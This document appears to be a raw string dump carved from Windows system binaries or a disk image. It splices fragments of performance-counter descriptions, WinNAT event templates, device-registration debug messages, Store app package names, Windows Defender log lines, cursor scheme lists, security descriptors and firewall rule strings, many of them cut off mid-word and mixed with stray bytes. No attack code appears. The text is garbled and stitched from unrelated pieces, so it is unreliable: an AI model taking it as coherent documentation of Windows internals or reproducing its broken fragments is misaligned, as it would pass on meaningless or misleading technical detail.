performed. Outbound OutboundGTotal number of reauthorizations performed for the IPv4 address family. Family: V4 Family: V4GTotal number of reauthorizations performed for the IPv6 address family. Family: V6 Family: V6CTotal number of reauthorizations performed for all other protocols. Protocol: Other Protocol: OtherATotal number of reauthorizations performed for the IPv4 protocol. Protocol: IPv4 Protocol: IPv4ATotal number of reauthorizations performed for the IPv6 protocol. Protocol: IPv6 Protocol: IPv6ATotal number of reauthorizations performed for the ICMP protocol. Protocol: ICMP Protocol: ICMPBTotal number of reauthorizations performed for the ICMP6 protocol. Protocol: ICMP6 Protocol: ICMP6@Total number of reauthorizations performed for the UDP protocol. Protocol: UDP Protocol: UDP@Total number of reauthorizations performed for the TCP protocol. Protocol: TCP Protocol: TCPGTotal number of reauthorizations performed for the PolicyChange reason. Reason: PolicyChange Reason: PolicyChangeN Application\9f\20 egor ows. protoco Application\9f\20, egor ows.fileTypeAssoc Exec !$'*u-0369<?rBEHKNQTWZ]`cfilox SubC amd64_microsoft-windows-coreshellapi_31bf3856ad364e35_10.0.26100.7824_none_8385b1bed5516d8c\coreshellapi.dll sfc_os.dll amd64_microsoft-windows-sfc_31bf3856ad364e35_10.0.26100.1_none_a4296bacc4be3ffd\sfc_os.dll davhlpr.dll amd64_microsoft-windows-s..opertiesperformance_31bf3856ad364e35_10.0.26100.1_none_57ca55906b66d7b3\systempropertiesperformance.exe amd64_m %Average number of bytes per transfer. Number of transfers. CNumber of successful transfers per second that are <= 4K in length. CNumber of successful transfers per second that are <= 8K in length. DNumber of successful transfers per second that are <= 16K in length. DNumber of successful transfers per second that are <= 32K in length. DNumber of successful transfers per second that are <= 64K in length. ENumber of successful transfers per second that are <= 128K in length. ENumber of successful transfers per second that are <= 256K in length. CNumber of successful transfers per second that are <= 1M in length. BNumber of successful transfers per second that are > 1M in length. Outstanding Requests Outstanding Requests Queued Requests Queued Requests Number of outstanding requests. Number of queued requests. WEVT_TEMPLATE en-US WEVT_TEMPLATE VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Demand Dial Manager Supervisor FileVersion 10.0.26100.7705 (WinBuild. tion tional en-US WinNAT TCP WinNAT TCP\WinNat TCP counter set measures network activity for network address translated TCP packets. NumberOfSessions NumberOfSessions NumberOfBindings NumberOfBindings NumIntToExtTranslations NumIntToExtTranslations NumExtToIntTranslations NumExtToIntTranslations NumPacketsDropped NumPacketsDropped NumSessionsTimedOut NumSessionsTimedOut Total number of TCP sessions. Total number of TCP bindings. ATotal number of TCP packets translated from internal to external. ATotal number of TCP packets translated from external to internal. >Total number of TCP packets dropped due to absence of binding. 9Total number of TCP sessions timed out due to inactivity. \WinNat UDP counter set measures network activity for network address translated UDP packets. Total number of UDP sessions. NumberOfSessions NumberOfSessions Total number of UDP bindings. NumberOfBindings NumberOfBindingsATotal number of UDP packets translated from internal to external. NumIntToExtTranslatio error packets dropped per second due to inner IP packet parsing or validation failure Dropped ICMP error packets Dropped ICMP error packets_Total number of ICMP error packets dropped due to inner IP packet parsing or validation failure *Inter-RoutingDomain Hairpinned Packets/sec*Inter-RoutingDomain Hairpinned Packets/secINumber of packets hairpinned per second between different routing domains &Inter-RoutingDomain Hairpinned Packets&Inter-RoutingDomain Hairpinned PacketsDTotal number of packets hairpinned between different routing domains *Intra-RoutingDomain Hairpinned Packets/sec*Intra-RoutingDomain Hairpinned Packets/secKNumber of packets hairpinned per second back to originating routing domains &Intra-RoutingDomain Hairpinned Packets &Intra-RoutingDomain Hairpinned PacketsFTotal number of packets hairpinned back to originating routing domains WinNAT Instance WinNAT InstancePWinNAT instance counterset provides resource usage information per NAT instance. TCP Ports In Use TCP Ports In Use Number of TCP ports in use TCP Ports Available TCP Ports Available Number of TCP ports available UDP Ports In Use UDP Ports In Use Number of UDP ports in use UDP Ports Available UDP Ports Available Number of UDP ports available Microsoft Corporation Windows NAT Driver?This service provides network address translation functionality Info Error Warning Information Verbose Operational %7 session created. Internal source transport addr: %2, Internal dest transport addr: %3, External source transport addr %5, External dest transport addr %6, Lifetime: %8 seconds, TcpState:%9 %7 session lifetime updated. Internal source transport addr: %2, Internal dest transport addr: %3, External source transport addr %5, External dest transport addr %6, Lifetime: %8 seconds, TcpState: %9 %7 session state updated. Internal source transport addr: %2, Internal dest transport addr: %3, External source transport addr %5, !"#$%&'()*+,-./01234 teArray::CopyTo(KeyGuard) ByteArray::CopyTo(TransportKey) ByteArray::CopyTo(TransportKeyAttestationStatement) ByteArray::CopyTo(TransportKeyAikCertificate) CopyDiscoveryMetadataContent CopyTokenProperties CopyVdiSettings _JOIN_REQUEST::DeleteGeneratedKeys %s: Deleting generated device key %s: Deleting device key failed with error 0x%08x. Ignoring. %s: Deleting generated resource account key %s: Deleting resource account key failed with error 0x%08x. Ignoring. %s: Deleting generated transport key %s: Deleting device transport key failed with error 0x%08x. Ignoring. %s: Cannot determine device public key hash - error 0x%08x. Deleting token binding AIKs will be skipped. %s: Deleting token binding AIK failed with error 0x%08x. Ignoring. pTokenProperties registrationInfo ppJoinRequest %s: registrationInfo->pszDeviceJoinEndpointReference is null or empty registrationInfo->pszDeviceJoinEndpointReference %s: registrationInfo->pszPrecreateEndpointReference is null or empty registrationInfo->pszPrecreateEndpointReference %s: registrationInfo->pszDeviceJoinResourceEndpointReference is null or empty registrationInfo->pszDeviceJoinResourceEndpointReference %s: Function started. joinType: %u, pcszDomain: %s, pcszUserEmail: %s. RegistrationController::GetDefaultHashAlgorithm RegistrationCertHelper::GenerateCertRequest ReadVdiSettingsFromRegistry UrlHelper::NegotiateVersion RegistrationController::AppendDeviceIdToEndpointIfRequired GetComputerDnsHostname GetOSVersionInfo %s: Cannot get system time. time() returned -1. ByteArray::Assign(DeviceCSR) ByteArray::Assign(RaCSR) %s: RegistrationController::UpdateJoinRequestFromToken failed with error code: 0x%08x. Cannot parse the token as an ID token. The token could be an access token or encrypted. Checking if all required parameters are present... %s: The UPN must be provided or found in the token. %s: The tenant Id must be provided or found in the token. %s: User SID is not provided for device join. RegistrationController::CreateTransportKey GetPublicKeyHash pJoinRequest RegistrationController::UpdateJoinRequest %s: AIK renew was already attempted. Do not retry join again. %s: AIK cert is expired, revoked, or invalid. Try AIK cert renew... %s: AIK cert is successfully renewed. %s: Hostname related error received (0x%08x). Retrying without hostnames. Hostname Mode: %lu (%s). %s: Hostname related error received (0x%08x). Do NOT retry because hostname mode forbids it. Hostname Mode: %lu (%s). %s: Hostname related error (0x%08x) received but hostnames are not defined. %s: The error code 0x%08x is not a retry-able error. No need to retry join. tenantId deviceKeyId RegistrationKeyHelper::CreateAik ByteArray::Assign %s: Token binding AIK successfully created. KeyType: %s. Public key size: %u byte(s). aikType pKeyType RegistrationKeyHelper::CreateTransportKeyNew RegistrationKeyHelper::CreateTransportKey %s: Transport key successfully created. KeyType: %s. Public key size: %u byte(s). AIK certificate present: %s. Attestation statement present: %s %s: The transport key is successfully created, but it is empty. ByteArray::Assign(attestationStatement) ByteArray::Assign(aikCertificate) _JOIN_REQUEST::CopyJoinRequest RegistrationController::CreateJoinStatus RegistrationController::SendJoinHttpRequest RegistrationController::GetRegistrationData %s: The domain controller name is not passed in so will try to get it ourselves. %s: Current machine is not domain joined. RegistrationController::VerifyAutoSigningCert 6b30069e-b381-42cc-9fae-421915a9e9f3 RegistrationCertHelper::VerifyDeviceJoinAutoSigningCert %s: The local public key does not match the auto signing cert in the directory. RegistrationController::GenerateAutoSigningCert %s: The auto signing certificate in the directory has been updated. %s: The local public key matches the auto signing cert in the directory. %s: There are multiple auto signing certificates in the directory. %s: Extra auto signing certificates in the directory have been r ++S+ <MANIFEST-00001 ++S+ .de.hell ope_ .77533fa 8_j6 24600www.pwasoft.de.helloeurope_kv2786spsnv42 ec1837_m 2te7 64647jonatassiqueira.mobileforense_w6x1a1fnn9xcp rumturno ayin drag_svr hemicals ture hms6saxg 12067mathspro.mathsproyear4_3c45zaqvhn05y eapps.te osra qpd68s4e nspvt.lt hool 2r1rtg binarylogicsa.eltskillsontrack1_5zmfee0tdkfr8 51807286 zntm zbc9brgd iencemag e-fr ykk3mr82 egecpsi. rmat s82y1v8 tskillso ck1_ 21437happimoji.plantidentification_crpefj3q18kjy 5612demarlesoftware.spanishtutor_vtm44e3tgsfea victoryvr.fromslimetodinosaurs_34chm4etathfm mokulumb ta_j imetodin rs_3 5xhnbp2v 7148myozden.benimokulumbulutta_jzjvwczxzx16g 60597coalarutier.coalarutier_a2ph8afz3yfd4 adecinnovations.ascentifydesigner_c2p9wge3wnyca timetabl erat ndr7qh4 27186navedislam.63763ef44f492_h0wv0cnat8yxa teachingtextbooks.ttalgebra2_xfp1pvna0918a d.broken y6s9 8292victorkatrin.tphysicsdemo_8c8c0se088wdr dvk0k 547363fef1877.6153074b33bef_mksrrfjb5xx2r 547363fef1877.55599fa091a6c_mksrrfjb5xx2r learnaholicpteltd.brokentop_y6s9kxh116g8p ascentif igne panishal andi 0r4cb04w lato-syn _9aw iumedi_p 15875tatahakim.plato-synthor_9awr6hcx9ear6 ctfreeedition_bg05sdanpj73p individualsoftware.typinginstructorplatinum_p27trh1f1z4np intemodinogroups.r.o.systemofequationssolver2x2_c020rj4pqzfrm 20845vzdlvaccentrumturnov.playingwithphysicscompou_svr2k4kdvk0kr 4722newsystem.comptiaitfundamentalssimulator_p4g26chjyrvyw elitestrategictraining.estelitelearningfeature_sbnhrf0kmgrht 10668dict.land.polishchinesesimplifieddictionary_pht0r4cb04wa0 11604thecityoftheapps.testoposestatutodeandaluca_zqpd68s4emmvm 22411ashvindalwadi.guessthepicture-photoquiz_d1jkw8np05v52 63806joystephen.motionunderdifferentgravities_9f5feeavc0k82 49247bsaibesengineering.closedlinetraverseinsurvey_106803v67f546 37525etiennenoumen.azureaifundamentalsai-900certif_jzddz4wt2dh7j 63806joystephen.photoelectriceffectexperiment_9f5feeavc0k82 improvisionllc.masteroftypingforkids-learntotype_6ab774x3x8cty 3982idevbooks.partialdifferencessubtraction_v1z3snxjhxktm beelectronics.m.c.eireli.thecprojectproanti-aliase_bg05sdanpj73p 21768alltenfingers.iatf-psanvemidesetialltenfinger_6ea6gced1za1m 33966ivanbondaruk.mentalarithmeticdifference_gf17w27pzk6ej 49247bsaibesengineering.geometricregression_106803v67f546 royalanimalhealthuniversi.animaldietformulator_q6fa1rkfxfzs6 22922bentamansourtfares.bersetzungsbroprofifachber_nmh9dqy7611b6 27443dmytrosakharuk.english-ukrainianmilitarydicti_5q84c74vxvf2t 19632lzn1007outlook.com.mentalarithmeticpaper_365zje9t89qy8 18883jeremyschmidtsoftwar.chordhearoprogressionear_z55ry7ha7rst8 macprovideo.com.pagesadvancedcoursebymacprovideo_syefndmf9bkz2 58897windowsphonekhmer.aspectratiocalculators_1svq3xtmrnxe0 37ountainandasquirrel-allamaiqbal_v273v306h3sfa 6130jhonysl.deoliveira.calculadoradedesconto_k3a21hj1rhb72 flyoverzoneproductions.romerebornthecolosseumdistr_3zchb94p1qrrr 22380catalanhilton.mermaidprincessmakeupmagicunder_pf9e8vdxm84fm 1030joshuarasmussen.interactivestorybook-princessk_n11 yg8g8t tai.episode-romancec 778agwL developmentandd.percentcalculato 9gw0m3btp2/ 40548r umanitygames.the Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall NoAddFromNetwork Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall NoAddPage Policies\Uninsta soft Serv ++S+ ,<Local Stat ++S+ ktop Global.LiveCaptionsDesktop Assets\Square150x150Logo.png Assets\Square44x44Logo.png http://microsoft.com MicrosoftWindows.Client.Core_cw5n1h2txyewy!LogonWebHost LogonWebHost LogonWebHost Assets\Square150x150Logo.png Assets\Square44x44Logo.png +https://login.microsoftonline.com/ VPP:6 MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.MicrosoftGraphRecentItemsManager Global.MicrosoftGraphRecentItemsManager Global.MicrosoftGraphRecentItemsManager Assets\Square150x150Logo.png Assets\Square44x44Logo.png http://microsoft.com tVNLXT MicrosoftWindows.Client.Core_cw5n1h2txyewy!ScreenClipping ms-resource:ScreenClippingAppName/Text ms-resource:ScreenClippingDescription ScreenClipping\Assets\Square150x150Logo.png ScreenClipping\Assets\Square44x44Logo.png V**:6 MicrosoftWindows.Client.Core_cw5n1h2txyewy!SettingsModelService SettingsModelService SettingsModelService Assets\Square150x150Logo.png Assets\Square44x44Logo.png http://microsoft.com zV$$:6 MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SnapLayout Global.SnapLayout Global.SnapLayout Assets\Square150x150Logo.png Assets\Square44x44Logo.png http://microsoft.com VDD:6 MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SpeechSynthesizerExtension Global.SpeechSynthesizerExtension Global.SpeechSynthesizerExtension Assets\Square150x150Logo.png Assets\Square44x44Logo.png http://microsoft.com xV"":6 MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.StartMenu Global.StartMenu Global.StartMenu Assets\Square150x150Logo.png Assets\Square44x44Logo.png http://microsoft.com V..:6 MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.FamilyValueProp Global.FamilyValueProp Global.FamilyValueProp Assets\Square150x150Logo.png Assets\Square44x44Logo.png http://microsoft.com |V&&:6 MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.ValueBanner Global.ValueBanner Global.ValueBanner Assets\Square150x150Logo.png Assets\Square44x44Logo.png http://microsoft.com zV$$:6 MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SystemTray Global.SystemTray Global.SystemTray Assets\Square150x150Logo.png Assets\Square44x44Logo.png http://microsoft.com MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.Taskbar Global.Taskbar Global.Taskbar Assets\Square150x150Logo.png Assets\Square44x44Logo.png http://microsoft.com MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.TwinSxS Global.TwinSxS Global.TwinSxS Assets\Square150x150Logo.png Assets\Square44x44Logo.png http://microsoft.com V..:6 MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.VoiceAccessHost Global.VoiceAccessHost Global.VoiceAccessHost Assets\Square150x150Logo.png Assets\Square44x44Logo.png http://microsoft.com VBB:6 MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SpeechRecognizerExtension Global.SpeechRecognizerExtension Global.SpeechRecognizerExtension Assets\Square150x150Logo.png Assets\Square44x44Logo.png http://microsoft.com V22:6 MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.VoiceAccessPlugin Global.VoiceAccessPlugin Global.VoiceAccessPlugin Assets\Square150x150Logo.png Assets\Square44x44Logo.png http://microsoft.com $Microsoft Windows .DesktopPackageMetadata PackageMetadata C:\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\https:\\www.microsoft.com *Global.AppListBackup *Global.AppListBackup C:\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\http:\\microsoft.com (Global.BackupBanner (Global.BackupBanner C:\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\http:\\microsoft.com 6Global.LiveCaptionsDesktop 6Global.LiveCaptionsDesktop C:\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\http:\\microsoft.com $p( P>pX hlpp 0 [AutoExclusion] Skipped Non-Windows 10+ Server SKUs. IDynamicConfig::ReportError ECS value=EnableAdsSymlinkMitigation_MpRamp hr=0x8007007b IDynamicConfig::ReportError ECS value=EnableBmProcessInfoMetastoreMaintenance_MpRamp hr=0x800700d4 IDynamicConfig::ReportError ECS value=EnableCIWorkaroundOnCFAEnabled_MpRamp hr=0x8007007b IDynamicConfig::ReportError ECS value=EnableThreatIdKeyForSigExpiry_MpRamp hr=0x800700d4 IDynamicConfig::ReportError ECS value=MdDisableResController hr=0x800700d4 IDynamicConfig::ReportError ECS value=MdTimerInitalDelay hr=0x800700d4 IDynamicConfig::ReportError ECS value=MdTimerMonitorInterval hr=0x800700d4 IDynamicConfig::ReportError ECS value=MpCopyAcceleratorCancellableCopyState hr=0x800700d4 IDynamicConfig::ReportError ECS value=MpDisablePropBagNotification hr=0x800700d4 IDynamicConfig::ReportError ECS value=MpEnableNoMetaStoreProcessInfoContainer hr=0x800700d4 IDynamicConfig::ReportError ECS value=MpEnablePurgeHipsCache hr=0x800700d4 IDynamicConfig::ReportError ECS value=MpForceDllHostScanExeOnOpen hr=0x800700d4 IDynamicConfig::ReportError ECS value=MpDisableResourceMonitoring hr=0x8007007b IDynamicConfig::ReportError ECS value=MpDlpClipboardSettings hr=0x8007007b IDynamicConfig::ReportError ECS value=NIS_DisableTransportCallouts hr=0x8007007b IDynamicConfig::ReportError ECS value=NIS_EnableUsoSupport hr=0x8007007b IDynamicConfig::ReportChange ECS value=MpDisableBmHealthOneDsEvent new=True oldFalse 2026-02-24T08:06:34.395 [Engine] New active engine 00007FFC5AE0E190 (no old engine). Number of active engines: 1 2026-02-24T08:06:34.415 EngineInit:Global ASOC is enabled 2026-02-24T08:06:34.415 EngineInit:ASOO is enabled for developer volumes 2026-02-24T08:06:34.480 Engine-HIPS:Loaded ASR vdm rule "Block use of copied or impersonated system tools", State=5, Action=0, Type=9, Duplicates(Interval=288000000000, scope=0x100) 2026-02-24T08:06:34.480 Engine-HIPS:Loaded ASR vdm rule "Block executable files from running unless they meet a prevalence, age, or trusted list crignature files (source: 1) ... 2026-02-24T08:06:14.577 Skipped verification of [C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{95CAF3AE-F52C-4666-990C-954375DF34A8}\mpengine.dll] due to PPL. 2026-02-24T08:06:14.577 Verified [C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{95CAF3AE-F52C-4666-990C-954375DF34A8}\mpasbase.vdm] (file in cache) 2026-02-24T08:06:14.577 Verified [C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{95CAF3AE-F52C-4666-990C-954375DF34A8}\mpasdlta.vdm] (file in cache) 2026-02-24T08:06:14.577 Verified [C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{95CAF3AE-F52C-4666-990C-954375DF34A8}\mpavbase.vdm] (file in cache) 2026-02-24T08:06:14.577 Verified [C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{95CAF3AE-F52C-4666-990C-954375DF34A8}\mpavdlta.vdm] (file in cache) 2026-02-24T08:06:14.663 [Engine] IsHybridMode: 0 2026-02-24T08:06:14.665 [KSL]KSL(1.1.25111.3024) Is available via CAMP. KslDevice : KslD 2026-02-24T08:06:15.097 CheckProductDisabled(fWaitWSC: 0, fRemoveConfigs: 1) ... 2026-02-24T08:06:15.970 Database:Using offline cache (C:\ProgramData\Microsoft\Windows Defender\Scans\mpcache-DADA29A4EF6E5A2D592C68A16E563385C71EF9D9.bin) 2026-02-24T08:06:16.452 CheckProductDisabled(fWaitWSC: 0, fRemoveConfigs: 1) ... IDynamicConfig::ReportError value=BruteForceProtectionIPExclusion hr=0x8007007b IDynamicConfig::ReportError value=BruteForceProtectionStatus hr=0x8007007b IDynamicConfig::ReportError value=DisableGradualRelease hr=0x8007007b IDynamicConfig::ReportError value=EnableFileHashComputation hr=0x8007007b IDynamicConfig::ReportError value=MpBafsExtendedTimeout hr=0x8007000d IDynamicConfig::ReportError value=MpCampRingThrottled hr=0x8007007b IDynamicConfig::ReportError value=MpCloudBlockLevel hr=0x8007000d IDynamicConfig::ReportError value=MpEngineRingThrottled hr=0x8007007b 2026-02-24T08:06:34.387 Geo ID not found using standard default set: :SOAP:https://wdcp.microsoft.com/WdCpSrvc.asmx 2026-02-24T08:06:34.39 %SystemRoot%\cursors\aero_arrow_xl.cur,%SystemRoot%\cursors\aero_helpsel_xl.cur,%SystemRoot%\cursors\aero_working_xl.ani,%SystemRoot%\cursors\aero_busy_xl.ani,,,%SystemRoot%\cursors\aero_pen_xl.cur,%SystemRoot%\cursors\aero_unavail_xl.cur,%SystemRoot%\cursors\aero_ns_xl.cur,%SystemRoot%\cursors\aero_ew_xl.cur,%SystemRoot%\cursors\aero_nwse_xl.cur,%SystemRoot%\cursors\aero_nesw_xl.cur,%SystemRoot%\cursors\aero_move_xl.cur,%SystemRoot%\cursors\aero_up_xl.cur,%SystemRoot%\cursors\aero_link_xl.cur,%SystemRoot%\cursors\aero_pin_xl.cur,%SystemRoot%\cursors\aero_person_xl.cur,@%systemroot%\system32\main.cpl,-1022 %SystemRoot%\cursors\arrow_r.cur,%SystemRoot%\cursors\help_r.cur,%SystemRoot%\cursors\wait_r.cur,%SystemRoot%\cursors\busy_r.cur,%SystemRoot%\cursors\cross_r.cur,%SystemRoot%\cursors\beam_r.cur,%SystemRoot%\cursors\pen_r.cur,%SystemRoot%\cursors\no_r.cur,%SystemRoot%\cursors\size4_r.cur,%SystemRoot%\cursors\size3_r.cur,%SystemRoot%\cursors\size2_r.cur,%SystemRoot%\cursors\size1_r.cur,%SystemRoot%\cursors\move_r.cur,%SystemRoot%\cursors\up_r.cur,,%SystemRoot%\cursors\pin_r.cur,%SystemRoot%\cursors\person_r.cur,@%systemroot%\system32\main.cpl,-1011 %SystemRoot%\cursors\arrow_rl.cur,%SystemRoot%\cursors\help_rl.cur,%SystemRoot%\cursors\wait_rl.cur,%SystemRoot%\cursors\busy_rl.cur,%SystemRoot%\cursors\cross_rl.cur,%SystemRoot%\cursors\beam_rl.cur,%SystemRoot%\cursors\pen_rl.cur,%SystemRoot%\cursors\no_rl.cur,%SystemRoot%\cursors\size4_rl.cur,%SystemRoot%\cursors\size3_rl.cur,%SystemRoot%\cursors\size2_rl.cur,%SystemRoot%\cursors\size1_rl.cur,%SystemRoot%\cursors\move_rl.cur,%SystemRoot%\cursors\up_rl.cur,,%SystemRoot%\cursors\pin_rl.cur,%SystemRoot%\cursors\person_rl.cur,@%systemroot%\system32\main.cpl,-1012 %SystemRoot%\cursors\arrow_rm.cur,%SystemRoot%\cursors\help_rm.cur,%SystemRoot%\cursors\wait_rm.cur,%SystemRoot%\cursors\busy_rm.cur,%SystemRoot%\cursors\cross_rm.cur,%SystemRoot%\cursors\beam_rm.cur,%SystemRoot%\cursors\pen_rm.cur,%SystemRoot%\cursors\no_rm.cur,%SystemRoot%\cursors\si \Packages\MicrosoftWindocw5n1h2t SubC LATE=C;LC_CTYPE=C;LC_MONETARY=C;LC_NUMERIC=C;LC_TIME=C 3++S++ 29444jrmeskoda.dictionnairedelalanguedessignesfran_mc5eqe9w3qtnt 1519benjaminodlandskare.hvlsensorvehiclemain_3kdn78h8xg5mp pjpconsultingllc.qvpreplitemathenglishgrade9_0dm0esccwn7n6 jouristverlagsgmbh.spanishvisualvocabularybuilder_dzq8hvy396jg8 10668dict.land.azerbaijaniturkishdictionary_pht0r4cb04wa0 teds nels 0Local Area Connection* 3 0Local Area Connection* 4 amd64_microsoft-windows-nfc-semanagement_31bf3856ad364e35_10.0.26100.7705_none_807e787f1050a094\semgrsvc.dll amd64_microsoft-windows-s..s-appexecutionalias_31bf3856ad364e35_10.0.26100.7705_none_9df15cd4fd1abf12\settingshandlers_appexecutionalias.dll firewallapi.dll amd64_networking-mpssvc-svc_31bf3856ad364e35_10.0.26100.7705_none_35b5447177fc3e1e\firewallapi.dll OICIIO;GRGX;;;BU)(A;;GRGX;;;AC)(A;OICIIO;GRGX;;;AC) SecurityHealthService Windows Security Health Service {2eb6d15c-5239-41cf-82fb-353d20b816cf} CLSID\%ls AppID CLSID AppID\%ls LocalService DllSurrogate O:BAG:BAD:(A;;CCDCLCSWRP;;;SY)(A;;CCDCLCSWRP;;;BA)(A;;CCDCLCSWRP;;;IU)(A;;CCDCLCSWRP;;;LS)(A;;0xb;;;S-1-15-2-2743877165-1931364543-2468930561-3765762410-1162139025-1178895811-1086226821)S:(ML;;NX;;;LW) LaunchPermission CLSID\%ls\InProcServer32 Both ThreadingModel SOFTWARE\Microsoft\Windows Security Health\Miscellaneous MpService_KillbitOverride Miscellaneous Configuration MpPlatformKillbitsFromEngine Features NULL TraceLevel SOFTWARE\Microsoft\Windows Security Health TraceMask wscapi.dll Machine\SYSTEM\CurrentControlSet\Services\%ls S-1-15-2-1 S-1-5-80-1601830629-990752416-3372939810-977361409-3075122917 S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464 S-1-5-80-259296475-4084429506-1152984619-38739575-565535606 wscsvc Registered SOFTWARE\Microsoft\Windows Security Health\Platform DebugBreak ClassFactory O:BAG:BAD:(A;;0x3;;;SY)(A;;0x3;;;BA)(A;;0x3;;;IU)(A;;0x3;;;AC)(A;;0x3;;;LS)(A;;0x3;;;S-1-15-2-2743877165-1931364543-2468930561-3765762410-1162139025-1178895811-1086226821)S:(ML;;NX;;;S-1-16-0) O:BAG:BAD:(A;;CCDCLC;;;SY)(A;;CCDCLC;;;BA)(A;;CCDCLC;;;IU)(A;;CCDCLC;;;LS)(A;;CCDCLC;;;S-1-15-2-2743877165-1931364543-2468930561-3765762410-1162139025-1178895811-1086226821) PeriodicTaskPeriodicity PeriodicTaskInitialDelay PeriodicTaskSubmitDelay \SecurityProductInformation.ini %ls%ls Name Products , Name : %ls Company Company : %ls PathToSignedReportingExe v2.33|Action=Allow|Active=FALSE|Dir=Out|Protocol=17|RPort=5355|RA4=LocalSubnet|RA6=LocalSubnet|App=C:\WINDOWS\system32\svchost.exe|Svc=dnscache|EmbedCtxt=@FirewallAPI.dll,-28672| v2.33|Action=Allow|Active=FALSE|Dir=In|Protocol=17|LPort=5355|RA4=LocalSubnet|RA6=LocalSubnet|App=C:\WINDOWS\system32\svchost.exe|Svc=dnscache|EmbedCtxt=@FirewallAPI.dll,-28672| " "%ls" %s\%s Defender SSO NewLocation ShieldProvider::GetPackageVersionFromFamilyName ShieldProvider::UpgradeUxIfApplicable ShieldProvider::ReinstallBaseWindowsSecurityApp gEnableLifetimeManagement SOFTWARE\Classes\WdMam URL Protocol SOFTWARE\Classes\WdMam\Shell\Open\Command \\?\ \SecurityHealthHost.exe %1 IgnoreDowngrade PlatformId MpFeatures_SenseDlpSystemToast PreviousToastRegister Windows.Defender.SecurityCenter System SeSystemEnvironmentPrivilege SecurityHealthAgent.dll.mui %ls\%ls-%ls\%ls SeShutdownPrivilege SeBackupPrivilege SeRestorePrivilege DefenderShield Software\Microsoft\Windows Defender InstallLocation %ProgramFiles%\Windows Defender %ls\MpClient.dll MpQueryDevVolumeProtectionState ShieldProvider::ScanManager::~ScanManager folder file ShieldProvider::ScanManager::OnScanNotification ShieldProvider::ScanManager::OnCleanNotification ShieldProvider::SignatureUpdateManager::~SignatureUpdateManager ShieldProvider::SignatureUpdateManager::OnSignatureUpdateNotification dleEx-R- ++S+ ++S+ AIN=Wind PROFILE==C:\WIND AUTOMATICCORRUPTIONREPAIRPLUGIN_PLUGINMAINTENANCEMODE AUTOMATICCORRUPTIONREPAIRPLUGIN_MINUPTIMETHRESHOLD AutomaticCorruptionRepairPlugin_MinUptimeThreshold agnostic instance 23771wtfgames.animepolypuzzle-schooltrouble_6s77ramn804ga 18486zenmehuishi.hiddenobjectletshaveapicnic_znx8jy9dsckh8 64755qubytegamesdesenvolv.spaceeliteforce2in1_jec5y8kkwv4dj 62513icegamescraft.forestanimalsjigsawpuzzles_0p16a3zz9q6c0 49212royalefreeactiongame.bubbleshooterdragon_4hvpm21qzdm40 xbox360backwardcompatibil.primarymidnightclublosan_ksqcvrsvwz2jp gatewayinteractive.1f0b8380-eae4-4e24-9635-fa965d7_amhgc2qd0vccy xbox360backwardcompatibil.primaryredfactionii54510_ksqcvrsvwz2jp 49278roseapp.hiddenobjectstheeternaltwilight_bk2dxc6chhett crazysoftlimited.frutakia2lite-slotspuzzler_31pb9hpvgstfm 34088mixxusstudio.playusavoiceandsoundinteractiveg_n714pv7s41yej 50521eastasiasoftlimited.thunderkidiinullmission_gdgmx0a3bvs32 xbox360backwardcompatibil.primarysammaxsavetheworl_ksqcvrsvwz2jp hamstercorporation.acaneogeokingofthemonsters2then_7xd3265gdqs6r artifexmundi.ghostfilesthefaceofguiltxboxversion_xmkq9zz36w32m amazinggamesnetwork.amazingklondikesolitaire_vs3hshwbfdy36 ardigitalsp.zo.o.taintedgrailthefallofavalondemo_h53sa8gawx63c 64755qubytegamesdesenvolv.qubyteclassics-thehumans_jec5y8kkwv4dj electronicartsmobile.pvzbattleforneighborville_q5ha1ztykcgvj 32492freegamesquad.spidersolitaire-classicsolitair_tjrkjeqxpr29j xbox360backwardcompatibil.primaryarkanoidlivearkan_ksqcvrsvwz2jp 14083hollytechnologycoltd.outoftheneonlightbarrier_jkd79x9sd69fp 1696polarityflowadrianzin.c0022f49-e019-4df0-95d2-_ebjfe85xct9x4 3520minicraftkinggamingst. LMicrosoft-OneCore-Helium-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat MI290F~1.CAT Microsoft-OneCore-Helium-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat WofCompressedData A37116~1.CAT a37116c5e4076d0af684469e40524ff05684edc32cfbcf444a3932bf84278223.cat WofCompressedData $DSC LMicrosoft-OneCore-Helium-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat MI38E4~1.CAT Microsoft-OneCore-Helium-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat WofCompressedData A3A85C~1.CAT a3a85cbcc1da61d9286fefa0ba4dd270d29ce6f58436f20dfdde31653ce158b1.cat WofCompressedData $DSC WMicrosoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat0 WMicrosoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat $DSC 11F2FB~1.CAT 11f2fb9a49b1cac4388b41f902638595c0619e389e33bbf63ef464340e440028.cat WofCompressedData $DSC 